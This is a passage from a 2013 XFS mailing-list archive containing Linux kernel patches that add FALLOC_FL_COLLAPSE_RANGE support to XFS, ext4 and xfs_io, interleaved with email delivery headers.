xfs_fileoff_t start_fsb; + xfs_fileoff_t shift_fsb; + + ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); + + trace_xfs_collapse_file_space(ip); + + start_fsb = XFS_B_TO_FSB(mp, offset + len); + shift_fsb = XFS_B_TO_FSB(mp, len); + + /* + * The first thing we do is to free data blocks in the specified range + * by calling xfs_free_file_space(). It would also sync dirty data + * and invalidate page cache over the region on which collapse range + * is working. + */ + + error = xfs_free_file_space(ip, offset, len); + if (error) + return error; + + while (!error && !done) { + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + tp->t_flags |= XFS_TRANS_RESERVE; + /* + * We would need to reserve permanent block for transaction. + * This will come into picture when after shifting extent into + * hole we found that adjacent extents can be merged which + * may lead to freeing of a block during record update. + */ + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0); + if (error) { + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + break; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota(tp, mp, ip->i_udquot, + ip->i_gdquot, ip->i_pdquot, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0, + XFS_QMOPT_RES_REGBLKS); + if (error) + goto out; + + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &first_block); + + /* + * We are using the write transaction in which max 2 bmbt + * updates are allowed + */ + error = xfs_bmap_shift_extents(tp, ip, &done, start_fsb, + shift_fsb, ¤t_ext, + &first_block, &free_list, 2); + if (error) + goto out; + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + } + + return error; + +out: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; +} + +/* * We need to check that the format of the data fork in the temporary inode is * valid for the target inode before doing the swap. This is not a problem with * attr1 because of the fixed fork offset, but attr2 has a dynamically sized diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index 900747b..935ed2b 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -99,6 +99,8 @@ int xfs_free_file_space(struct xfs_inode *ip, xfs_off_t offset, xfs_off_t len); int xfs_zero_file_space(struct xfs_inode *ip, xfs_off_t offset, xfs_off_t len); +int xfs_collapse_file_space(struct xfs_inode *, xfs_off_t offset, + xfs_off_t len); /* EOF block manipulation functions */ bool xfs_can_free_eofblocks(struct xfs_inode *ip, bool force); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 52c91e1..accb25b 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -820,7 +820,8 @@ xfs_file_fallocate( if (!S_ISREG(inode->i_mode)) return -EINVAL; - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; xfs_ilock(ip, XFS_IOLOCK_EXCL); @@ -828,6 +829,20 @@ xfs_file_fallocate( error = xfs_free_file_space(ip, offset, len); if (error) goto out_unlock; + } else if (mode & FALLOC_FL_COLLAPSE_RANGE) { + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; + + if (offset & blksize_mask || len & blksize_mask) { + error = -EINVAL; + goto out_unlock; + } + + ASSERT(offset + len < i_size_read(inode)); + new_size = i_size_read(inode) - len; + + error = xfs_collapse_file_space(ip, offset, len); + if (error) + goto out_unlock; } else { if (!(mode & FALLOC_FL_KEEP_SIZE) && offset + len > i_size_read(inode)) { @@ -856,7 +871,7 @@ xfs_file_fallocate( if (ip->i_d.di_mode & S_IXGRP) ip->i_d.di_mode &= ~S_ISGID; - if (!(mode & FALLOC_FL_PUNCH_HOLE)) + if (!(mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE))) ip->i_d.di_flags |= XFS_DIFLAG_PREALLOC; xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index 425dfa4..a4ae41c 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -603,6 +603,7 @@ DEFINE_INODE_EVENT(xfs_readlink); DEFINE_INODE_EVENT(xfs_inactive_symlink); DEFINE_INODE_EVENT(xfs_alloc_file_space); DEFINE_INODE_EVENT(xfs_free_file_space); +DEFINE_INODE_EVENT(xfs_collapse_file_space); DEFINE_INODE_EVENT(xfs_readdir); #ifdef CONFIG_XFS_POSIX_ACL DEFINE_INODE_EVENT(xfs_get_acl); -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:00:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4D85E7F9E for ; Sun, 8 Dec 2013 08:00:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2F730304043 for ; Sun, 8 Dec 2013 06:00:34 -0800 (PST) X-ASG-Debug-ID: 1386511230-04cb6c537c5f8ae0001-NocioJ Received: from mail-pb0-f53.google.com (mail-pb0-f53.google.com [209.85.160.53]) by cuda.sgi.com with ESMTP id WzlFB5XIOhfgdq55 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:00:31 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.53 Received: by mail-pb0-f53.google.com with SMTP id ma3so3763759pbc.26 for ; Sun, 08 Dec 2013 06:00:30 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=I/yiaFDt0/NzjlAtE/uLTnNeRsAyqJ8OLvYhbksMLcQ=; b=x4CidjRsYDexd6ovEKaLtiTK1xAw0hpk4rc2PAyzHFMLRjAbLGtCXyNtYIeb1K9ec7 9j99get9YoUbCPSVb9ggOAX9jvaj2hx6MX7QCnq+5DICA9O0Z270mzZU7/m7ec2U+0VX KG32XSEwWpeM1ZoiDP3XQsr66kvlZWpDeT98Qu4I2YJeZXn1MrHpxGlVBgrjGwmNYSun WTL9es1m2qtuENh9SRsBbAKH3+ntJDz1CNiC20OcoJCIbRAF/YTGq7B86EWdcL38ePBQ 5KeGzTJC9s+ZU5LFFyBGTIIY/uSAS0HaDD4rDYyWjldy0Fdr3iFy5ajSZ7mILjbiPfu0 GnVQ== X-Barracuda-BBL-IP: nil X-Received: by 10.68.254.164 with SMTP id aj4mr2607254pbd.161.1386511229933; Sun, 08 Dec 2013 06:00:29 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id xn12sm15466350pac.12.2013.12.08.06.00.27 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:00:29 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 8 Dec 2013 23:00:21 +0900 X-ASG-Orig-Subj: [PATCH v4 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1386511221-3353-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f53.google.com[209.85.160.53] X-Barracuda-Start-Time: 1386511231 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/ext4/ext4.h | 3 + fs/ext4/extents.c | 297 ++++++++++++++++++++++++++++++++++++++++++- fs/ext4/move_extent.c | 2 +- include/trace/events/ext4.h | 25 ++++ 4 files changed, 325 insertions(+), 2 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index e618503..5cc015a 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -2745,6 +2745,7 @@ extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, __u64 start, __u64 len); extern int ext4_ext_precache(struct inode *inode); +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); /* move_extent.c */ extern void ext4_double_down_write_data_sem(struct inode *first, @@ -2754,6 +2755,8 @@ extern void ext4_double_up_write_data_sem(struct inode *orig_inode, extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, __u64 start_orig, __u64 start_donor, __u64 len, __u64 *moved_len); +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, + struct ext4_extent **extent); /* page-io.c */ extern int __init ext4_init_pageio(void); diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 267c9fb..12338c1 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4566,12 +4566,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int credits, blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) return ext4_punch_hole(inode, offset, len); + if (mode & FALLOC_FL_COLLAPSE_RANGE) + return ext4_collapse_range(inode, offset, len); + ret = ext4_convert_inline_data(inode); if (ret) return ret; @@ -4870,3 +4874,294 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, ext4_es_lru_add(inode); return error; } + +/* + * ext4_access_path: + * Function to access the path buffer for marking it dirty. + * It also checks if there are sufficient credits left in the journal handle + * to update path. + */ +static int +ext4_access_path(handle_t *handle, struct inode *inode, + struct ext4_ext_path *path) +{ + int credits, err; + + /* + * Check if need to extend journal credits + * 3 for leaf, sb, and inode plus 2 (bmap and group + * descriptor) for each block group; assume two block + * groups + */ + if (handle->h_buffer_credits < 7) { + credits = ext4_writepage_trans_blocks(inode); + err = ext4_ext_truncate_extend_restart(handle, inode, credits); + /* EAGAIN is success */ + if (err && err != -EAGAIN) + return err; + } + + err = ext4_ext_get_access(handle, inode, path); + return err; +} + +/* + * ext4_ext_shift_path_extents: + * Shift the extents of a path structure lying between path[depth].p_ext + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift + * from starting block for each extent. + */ +static int +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, + struct inode *inode, handle_t *handle, + ext4_lblk_t *start) +{ + int depth, err = 0; + struct ext4_extent *ex_start, *ex_last; + bool update = 0; + depth = path->p_depth; + + while (depth >= 0) { + if (depth == path->p_depth) { + ex_start = path[depth].p_ext; + if (!ex_start) + return -EIO; + + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); + if (!ex_last) + return -EIO; + + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) + update = 1; + + *start = ex_last->ee_block + + ext4_ext_get_actual_len(ex_last); + + while (ex_start <= ex_last) { + ex_start->ee_block -= shift; + if (ex_start > + EXT_FIRST_EXTENT(path[depth].p_hdr)) { + if (ext4_ext_try_to_merge_right(inode, + path, ex_start - 1)) + ex_last--; + } + ex_start++; + } + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + if (--depth < 0 || !update) + break; + } + + /* Update index too */ + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + path[depth].p_idx->ei_block -= shift; + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + /* we are done if current index is not a starting index */ + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) + break; + + depth--; + } + +out: + return err; +} + +/* + * ext4_ext_shift_extents: + * All the extents which lies in the range from start to the last allocated + * block for the file are shifted downwards by shift blocks. + * On success, 0 is returned, error otherwise. + */ +static int +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, + ext4_lblk_t start, ext4_lblk_t shift) +{ + struct ext4_ext_path *path; + int ret = 0, depth; + struct ext4_extent *extent; + ext4_lblk_t stop_block, current_block; + ext4_lblk_t ex_start, ex_end; + + /* Let path point to the last extent */ + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = path->p_depth; + extent = path[depth].p_ext; + if (!extent) { + ext4_ext_drop_refs(path); + kfree(path); + return ret; + } + + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + /* Nothing to shift, if hole is at the end of file */ + if (start >= stop_block) + return ret; + + /* + * Don't start shifting extents until we make sure the hole is big + * enough to accomodate the shift. + */ + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); + depth = path->p_depth; + extent = path[depth].p_ext; + ex_start = extent->ee_block; + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + if ((ex_start > start - 1 && shift > ex_start) || + (ex_end > start - shift)) + return -EINVAL; + + /* Its safe to start updating extents */ + while (start < stop_block) { + path = ext4_ext_find_extent(inode, start, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + depth = path->p_depth; + extent = path[depth].p_ext; + current_block = extent->ee_block; + if (start > current_block) { + /* Hole, move to the next extent */ + ret = mext_next_extent(inode, path, &extent); + if (ret != 0) { + ext4_ext_drop_refs(path); + kfree(path); + if (ret == 1) + ret = 0; + break; + } + } + ret = ext4_ext_shift_path_extents(path, shift, inode, + handle, &start); + ext4_ext_drop_refs(path); + kfree(path); + if (ret) + break; + } + + return ret; +} + +/* + * ext4_collapse_range: + * This implements the fallocate's collapse range functionality for ext4 + * Returns: 0 and non-zero on error. + */ +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct super_block *sb = inode->i_sb; + ext4_lblk_t punch_start, punch_stop; + handle_t *handle; + unsigned int credits; + unsigned int rounding; + loff_t ioffset, new_size; + int ret; + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; + + BUG_ON(offset + len > i_size_read(inode)); + + /* Collapse range works only on fs block size aligned offsets. */ + if (offset & blksize_mask || len & blksize_mask) + return -EINVAL; + + if (!S_ISREG(inode->i_mode)) + return -EOPNOTSUPP; + + if (EXT4_SB(sb)->s_cluster_ratio > 1) + return -EOPNOTSUPP; + + /* Currently just for extent based files */ + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) + return -EOPNOTSUPP; + + if (IS_SWAPFILE(inode)) + return -ETXTBSY; + + trace_ext4_collapse_range(inode, offset, len); + + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); + + rounding = max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZE); + ioffset = offset & ~(rounding - 1); + + /* Write out all dirty pages */ + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); + if (ret) + return ret; + + /* Take mutex lock */ + mutex_lock(&inode->i_mutex); + + /* Wait for existing dio to complete */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + truncate_pagecache_range(inode, ioffset, -1); + + credits = ext4_writepage_trans_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + goto out_dio; + } + + down_write(&EXT4_I(inode)->i_data_sem); + + ext4_discard_preallocations(inode); + + ret = ext4_es_remove_extent(inode, punch_start, + EXT_MAX_BLOCKS - punch_start - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_shift_extents(inode, handle, punch_stop, + punch_stop - punch_start); + if (ret) + goto journal_stop; + + if ((offset + len) > i_size_read(inode)) + new_size = offset; + else + new_size = i_size_read(inode) - len; + + truncate_setsize(inode, new_size); + EXT4_I(inode)->i_disksize = new_size; + + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + ext4_mark_inode_dirty(handle, inode); + +journal_stop: + ext4_journal_stop(handle); + up_write(&EXT4_I(inode)->i_data_sem); + +out_dio: + ext4_inode_resume_unlocked_dio(inode); + mutex_unlock(&inode->i_mutex); + return ret; +} diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c index 773b503..b474558 100644 --- a/fs/ext4/move_extent.c +++ b/fs/ext4/move_extent.c @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) * ext4_ext_path structure refers to the last extent, or a negative error * value on failure. */ -static int +int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, struct ext4_extent **extent) { diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 197d312..90e2f71 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, __entry->shrunk_nr, __entry->cache_cnt) ); +TRACE_EVENT(ext4_collapse_range, + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), + + TP_ARGS(inode, offset, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, offset) + __field(loff_t, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->offset = offset; + __entry->len = len; + ), + + TP_printk("dev %d,%d ino %lu offset %lld len %lld", + MAJOR(__entry->dev), MINOR(__entry->dev), + (unsigned long) __entry->ino, + __entry->offset, __entry->len) +); + #endif /* _TRACE_EXT4_H */ /* This part must be outside protection */ -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:00:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2D59E7FA1 for ; Sun, 8 Dec 2013 08:00:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1E29C304051 for ; Sun, 8 Dec 2013 06:00:54 -0800 (PST) X-ASG-Debug-ID: 1386511244-04cbb04166602170001-NocioJ Received: from mail-pd0-f177.google.com (mail-pd0-f177.google.com [209.85.192.177]) by cuda.sgi.com with ESMTP id zwOHLyVKYPqyxDjF (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:00:48 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.177 Received: by mail-pd0-f177.google.com with SMTP id q10so3618197pdj.36 for ; Sun, 08 Dec 2013 06:00:44 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=ia/eM2qo0c12lEk75djtGlSBI+NkU6BPmxP9QF7SiBk=; b=JRefbpU+JzCau3PHsHfjgo37hwPGIKF5obfobYifu3bWME/1UfCMam4lVHWRp9HlZZ SvFsg3smTA+usnKkxWTrPL+OvmzFLsyIZIudToPQk5Hml77ANKe1PDk5/0yYsgMYXCm2 MM6c8hTBg59ISi4l7r5FFTyY0YzyWQyyqidWU+1rXbzd3S3ZWBgB2HTBcKH8USUwugHA AGdT9SnC0Flqa6CYTst/c9HlpAXo7DQgpZki0mKK/eE85xfbaIiIh+bqh5d/pn01gEq5 v/fGPIkFn8RCpb82oLx3aK7cOPdfrRVl6PUUvgaFluqbYPYHgo4OX+iMTduVck+9aG3B 7VwQ== X-Barracuda-BBL-IP: nil X-Received: by 10.68.217.226 with SMTP id pb2mr1679354pbc.165.1386511244354; Sun, 08 Dec 2013 06:00:44 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id de1sm11167500pbc.7.2013.12.08.06.00.41 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:00:43 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 8 Dec 2013 23:00:35 +0900 X-ASG-Orig-Subj: [PATCH v4 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1386511236-3387-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f177.google.com[209.85.192.177] X-Barracuda-Start-Time: 1386511248 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- io/prealloc.c | 41 +++++++++++++++++++++++++++++++++++++++-- man/man8/xfs_io.8 | 6 ++++++ 2 files changed, 45 insertions(+), 2 deletions(-) diff --git a/io/prealloc.c b/io/prealloc.c index 8380646..d697f82 100644 --- a/io/prealloc.c +++ b/io/prealloc.c @@ -29,6 +29,10 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 #endif +#ifndef FALLOC_FL_COLLAPSE_RANGE +#define FALLOC_FL_COLLAPSE_RANGE 0x08 +#endif + static cmdinfo_t allocsp_cmd; static cmdinfo_t freesp_cmd; static cmdinfo_t resvsp_cmd; @@ -37,6 +41,7 @@ static cmdinfo_t zero_cmd; #if defined(HAVE_FALLOCATE) static cmdinfo_t falloc_cmd; static cmdinfo_t fpunch_cmd; +static cmdinfo_t fcollapse_cmd; #endif static int @@ -159,8 +164,11 @@ fallocate_f( int mode = 0; int c; - while ((c = getopt(argc, argv, "kp")) != EOF) { + while ((c = getopt(argc, argv, "ckp")) != EOF) { switch (c) { + case 'c': + mode = FALLOC_FL_COLLAPSE_RANGE; + break; case 'k': mode = FALLOC_FL_KEEP_SIZE; break; @@ -203,6 +211,25 @@ fpunch_f( } return 0; } + +static int +fcollapse_f( + int argc, + char **argv) +{ + xfs_flock64_t segment; + int mode = FALLOC_FL_COLLAPSE_RANGE; + + if (!offset_length(argv[1], argv[2], &segment)) + return 0; + + if (fallocate(file->fd, mode, + segment.l_start, segment.l_len)) { + perror("fallocate"); + return 0; + } + return 0; +} #endif /* HAVE_FALLOCATE */ void @@ -263,7 +290,7 @@ prealloc_init(void) falloc_cmd.argmin = 2; falloc_cmd.argmax = -1; falloc_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; - falloc_cmd.args = _("[-k] [-p] off len"); + falloc_cmd.args = _("[-c] [-k] [-p] off len"); falloc_cmd.oneline = _("allocates space associated with part of a file via fallocate"); add_command(&falloc_cmd); @@ -277,5 +304,15 @@ prealloc_init(void) fpunch_cmd.oneline = _("de-allocates space assocated with part of a file via fallocate"); add_command(&fpunch_cmd); + + fcollapse_cmd.name = "fcollapse"; + fcollapse_cmd.cfunc = fcollapse_f; + fcollapse_cmd.argmin = 2; + fcollapse_cmd.argmax = 2; + fcollapse_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fcollapse_cmd.args = _("off len"); + fcollapse_cmd.oneline = + _("de-allocates space and eliminates the hole by shifting extents"); + add_command(&fcollapse_cmd); #endif /* HAVE_FALLOCATE */ } diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 767b50e..9543b20 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -380,6 +380,12 @@ will set the FALLOC_FL_KEEP_SIZE flag as described in .PD .RE .TP +.BI fcollapse " offset length" +Call fallocate with FALLOC_FL_COLLAPSE_RANGE flag as described in the +.BR fallocate (2) +manual page to de-allocates blocks and eliminates the hole created in this process +by shifting data blocks into the hole. +.TP .BI fpunch " offset length" Punches (de-allocates) blocks in the file by calling fallocate with the FALLOC_FL_PUNCH_HOLE flag as described in the -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:01:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5BB5E7F95 for ; Sun, 8 Dec 2013 08:01:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B5F40304043 for ; Sun, 8 Dec 2013 06:01:02 -0800 (PST) X-ASG-Debug-ID: 1386511257-04bdf01322101b40001-NocioJ Received: from mail-pb0-f44.google.com (mail-pb0-f44.google.com [209.85.160.44]) by cuda.sgi.com with ESMTP id P6rKMUaFiEHOY1Kx (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:00:57 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.44 Received: by mail-pb0-f44.google.com with SMTP id rq2so3769828pbb.31 for ; Sun, 08 Dec 2013 06:00:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=hLv4L29TSO8bift9giIOIA5L02BEnVX7o2JU/HsBXNk=; b=MjZl6lIWg4SslrWaz1k/jVM5gt94j4qJP5O2u9aHtY2Kv5tzhZJ8P8bXfeUrHOgry9 IDod1WkYID74t/fJvC08mGSAUrgWxSYl5FuTjrvFpebyMbt2xsSDNvoeZaipsPiEsU2o UxJDIKq/CDbEoYIfTMGieOer3miK+A1tC6sHhrD5caFwwAI4+IRNxVzCjLIra2DLeZI4 Gvx4QotVvSGgTW/THo1e5lShWHXOyhxRHNlOm10Ux/F55x2gcPiOXcLYQiSGaJwU2Wwm tth4lSdz1fAPUVV/R7hUXGphSw/VfEaXg64cGqjnE7NKpHPhHZNO1qxJazmMlR3bMY/o lfJA== X-Barracuda-BBL-IP: nil X-Received: by 10.66.2.234 with SMTP id 10mr15270819pax.39.1386511257616; Sun, 08 Dec 